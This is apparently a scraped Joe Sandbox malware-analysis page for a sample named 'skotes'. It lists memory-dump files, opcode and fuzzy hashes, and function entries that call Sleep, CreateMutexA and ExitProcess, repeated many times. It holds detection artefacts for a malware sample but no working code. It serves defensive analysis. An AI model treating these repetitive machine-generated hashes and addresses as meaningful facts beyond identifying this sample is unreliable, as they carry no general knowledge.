Associated: 00000006.00000002.1771689858.0000000000A33000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771718095.0000000000A42000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771746677.0000000000A43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771787854.0000000000A64000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771816500.0000000000A66000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771816500.0000000000A71000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771925357.0000000000AA0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771957752.0000000000AA1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771982913.0000000000AA2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1772009364.0000000000AA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1772032776.0000000000AA9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1772078737.0000000000AB7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1772102074.0000000000AB8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: b771d1d280b31dccae9339d146faad2f02dee81892fe018a32d5147d62155eb0
Instruction ID: 93670d52489c23d4f08b1c6b6704619fb8c8d5ee64269c611f0717c80b66496a
Opcode Fuzzy Hash: b771d1d280b31dccae9339d146faad2f02dee81892fe018a32d5147d62155eb0
Instruction Fuzzy Hash: 02E08631540208AFCE25BF18E85DD9C3B39EB11741F100811F81586765CB29ED92C944

Function 007A9BA5 Relevance: 3.1, APIs: 2, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 007AA963
CreateMutexA.KERNELBASE(00000000,00000000,00803254), ref: 007AA981

Memory Dump Source

Source File: 00000006.00000002.1770294583.00000000007A1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000006.00000002.1770268516.00000000007A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770294583.0000000000802000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770374659.0000000000809000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770399253.000000000080B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770424237.0000000000817000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770517716.000000000096F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770542322.0000000000971000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770573414.0000000000986000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770672182.0000000000987000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770699121.000000000098A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770699121.0000000000991000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770749214.000000000099D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770771644.000000000099E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770795600.00000000009A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770818317.00000000009A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770841775.00000000009AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770863872.00000000009AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770889945.00000000009B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770913037.00000000009B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770938502.00000000009C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770963665.00000000009C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771006568.00000000009CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771034866.00000000009D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771061868.00000000009F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771089599.00000000009F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771113804.00000000009FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771136190.0000000000A01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771158708.0000000000A02000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771185885.0000000000A04000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771211687.0000000000A05000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771239460.0000000000A08000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771265689.0000000000A11000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771288896.0000000000A13000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771314614.0000000000A14000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771345641.0000000000A17000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771399039.0000000000A18000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771479132.0000000000A1E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771529542.0000000000A26000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771559067.0000000000A2A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771599206.0000000000A2B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771628447.0000000000A2C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771663933.0000000000A2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771689858.0000000000A33000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771718095.0000000000A42000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771746677.0000000000A43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771787854.0000000000A64000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771816500.0000000000A66000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771816500.0000000000A71000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771925357.0000000000AA0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771957752.0000000000AA1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771982913.0000000000AA2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1772009364.0000000000AA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1772032776.0000000000AA9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1772078737.0000000000AB7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1772102074.0000000000AB8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: efa1df66390b3da2407efde902fdc5c21e1e293f738b773210c26d73675d4248
Instruction ID: d03cffb4d97cb0e36bfd2cac63d017d4cd1198c13d65284144245710ef204bf9
Opcode Fuzzy Hash: efa1df66390b3da2407efde902fdc5c21e1e293f738b773210c26d73675d4248
Instruction Fuzzy Hash: E9312771B041049BEB189B78DC8D7AEB7A2EBD6310F208318E114AB2D6D77D9980C761

Function 007A9F44 Relevance: 3.1, APIs: 2, Instructions: 137
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 007AA963
CreateMutexA.KERNELBASE(00000000,00000000,00803254), ref: 007AA981

Memory Dump Source

Source File: 00000006.00000002.1770294583.00000000007A1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000006.00000002.1770268516.00000000007A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770294583.0000000000802000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770374659.0000000000809000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770399253.000000000080B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770424237.0000000000817000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770517716.000000000096F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770542322.0000000000971000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770573414.0000000000986000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770672182.0000000000987000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770699121.000000000098A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770699121.0000000000991000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770749214.000000000099D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770771644.000000000099E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770795600.00000000009A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770818317.00000000009A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770841775.00000000009AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770863872.00000000009AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770889945.00000000009B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770913037.00000000009B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770938502.00000000009C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770963665.00000000009C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771006568.00000000009CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771034866.00000000009D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771061868.00000000009F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771089599.00000000009F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771113804.00000000009FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771136190.0000000000A01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771158708.0000000000A02000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771185885.0000000000A04000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771211687.0000000000A05000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771239460.0000000000A08000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771265689.0000000000A11000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771288896.0000000000A13000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771314614.0000000000A14000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771345641.0000000000A17000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771399039.0000000000A18000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771479132.0000000000A1E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771529542.0000000000A26000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771559067.0000000000A2A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771599206.0000000000A2B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771628447.0000000000A2C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771663933.0000000000A2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771689858.0000000000A33000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771718095.0000000000A42000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771746677.0000000000A43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771787854.0000000000A64000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771816500.0000000000A66000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771816500.0000000000A71000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771925357.0000000000AA0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771957752.0000000000AA1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771982913.0000000000AA2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1772009364.0000000000AA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1772032776.0000000000AA9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1772078737.0000000000AB7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1772102074.0000000000AB8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 23f31ee0bc62d85b566d5839f0d4b3e47beae00f6299ab32745538553362ade6
Instruction ID: 4abb01dca1b096999891bd9c3d3d373a2ea551b00ab3a3f0dbc86a93f2cbbdd1
Opcode Fuzzy Hash: 23f31ee0bc62d85b566d5839f0d4b3e47beae00f6299ab32745538553362ade6
Instruction Fuzzy Hash: AF314871B04104ABEB189B78DC8C7EEB762EBD6310F204719E114EB2D5E73E9984C752

Function 007AA079 Relevance: 3.1, APIs: 2, Instructions: 136
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 007AA963
CreateMutexA.KERNELBASE(00000000,00000000,00803254), ref: 007AA981

Memory Dump Source

Source File: 00000006.00000002.1770294583.00000000007A1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000006.00000002.1770268516.00000000007A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770294583.0000000000802000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770374659.0000000000809000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770399253.000000000080B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770424237.0000000000817000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770517716.000000000096F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770542322.0000000000971000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770573414.0000000000986000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770672182.0000000000987000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770699121.000000000098A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770699121.0000000000991000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770749214.000000000099D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770771644.000000000099E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770795600.00000000009A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770818317.00000000009A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770841775.00000000009AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770863872.00000000009AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770889945.00000000009B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770913037.00000000009B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770938502.00000000009C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770963665.00000000009C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771006568.00000000009CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771034866.00000000009D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771061868.00000000009F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771089599.00000000009F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771113804.00000000009FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771136190.0000000000A01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771158708.0000000000A02000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771185885.0000000000A04000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771211687.0000000000A05000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771239460.0000000000A08000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771265689.0000000000A11000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771288896.0000000000A13000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771314614.0000000000A14000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771345641.0000000000A17000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771399039.0000000000A18000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771479132.0000000000A1E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771529542.0000000000A26000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771559067.0000000000A2A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771599206.0000000000A2B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771628447.0000000000A2C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771663933.0000000000A2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771689858.0000000000A33000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771718095.0000000000A42000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771746677.0000000000A43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771787854.0000000000A64000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771816500.0000000000A66000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771816500.0000000000A71000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771925357.0000000000AA0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771957752.0000000000AA1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771982913.0000000000AA2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1772009364.0000000000AA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1772032776.0000000000AA9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1772078737.0000000000AB7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1772102074.0000000000AB8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 4af045002a556874054f0ab7567307e6e2ffd5232f7b46793d8cb488229e2f91
Instruction ID: e8c31e6fe1fb6b8f8b79c81a11fb66717e0acf9e955c93ded212b2ed2c291124
Opcode Fuzzy Hash: 4af045002a556874054f0ab7567307e6e2ffd5232f7b46793d8cb488229e2f91
Instruction Fuzzy Hash: 24312771B14104ABEB189B78DC8DBAEB772EBD6310F204319E014AB3D5E73E9980C712

Function 007AA1AE Relevance: 3.1, APIs: 2, Instructions: 135
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 007AA963
CreateMutexA.KERNELBASE(00000000,00000000,00803254), ref: 007AA981

Memory Dump Source

Source File: 00000006.00000002.1770294583.00000000007A1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000006.00000002.1770268516.00000000007A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770294583.0000000000802000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770374659.0000000000809000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770399253.000000000080B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770424237.0000000000817000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770517716.000000000096F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770542322.0000000000971000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770573414.0000000000986000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770672182.0000000000987000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770699121.000000000098A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770699121.0000000000991000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770749214.000000000099D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770771644.000000000099E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770795600.00000000009A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770818317.00000000009A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770841775.00000000009AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770863872.00000000009AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770889945.00000000009B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770913037.00000000009B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770938502.00000000009C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770963665.00000000009C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771006568.00000000009CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771034866.00000000009D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771061868.00000000009F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771089599.00000000009F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771113804.00000000009FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771136190.0000000000A01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771158708.0000000000A02000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771185885.0000000000A04000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771211687.0000000000A05000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771239460.0000000000A08000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771265689.0000000000A11000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771288896.0000000000A13000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771314614.0000000000A14000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771345641.0000000000A17000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771399039.0000000000A18000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771479132.0000000000A1E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771529542.0000000000A26000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771559067.0000000000A2A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771599206.0000000000A2B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771628447.0000000000A2C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771663933.0000000000A2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771689858.0000000000A33000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771718095.0000000000A42000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771746677.0000000000A43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771787854.0000000000A64000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771816500.0000000000A66000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771816500.0000000000A71000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771925357.0000000000AA0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771957752.0000000000AA1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771982913.0000000000AA2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1772009364.0000000000AA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1772032776.0000000000AA9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1772078737.0000000000AB7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1772102074.0000000000AB8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 6d3e228b289834978832cd31e3e0c23fcc1ed346484408c18b90fbd494fd1bea
Instruction ID: dd5350cc4634da28c19460c6838625b7af50b009e6c8a3984d8782b8a4ef2093
Opcode Fuzzy Hash: 6d3e228b289834978832cd31e3e0c23fcc1ed346484408c18b90fbd494fd1bea
Instruction Fuzzy Hash: 0031F571B04104ABEB189BA8DC8D7ADB772ABD6310F244719E014AB2D5E77E9980C712

Function 007AA418 Relevance: 3.1, APIs: 2, Instructions: 133
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 007AA963
CreateMutexA.KERNELBASE(00000000,00000000,00803254), ref: 007AA981

Memory Dump Source

Source File: 00000006.00000002.1770294583.00000000007A1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000006.00000002.1770268516.00000000007A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770294583.0000000000802000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770374659.0000000000809000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770399253.000000000080B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770424237.0000000000817000.00000080.00000001.01000000.0000000B.sdmpDownload File
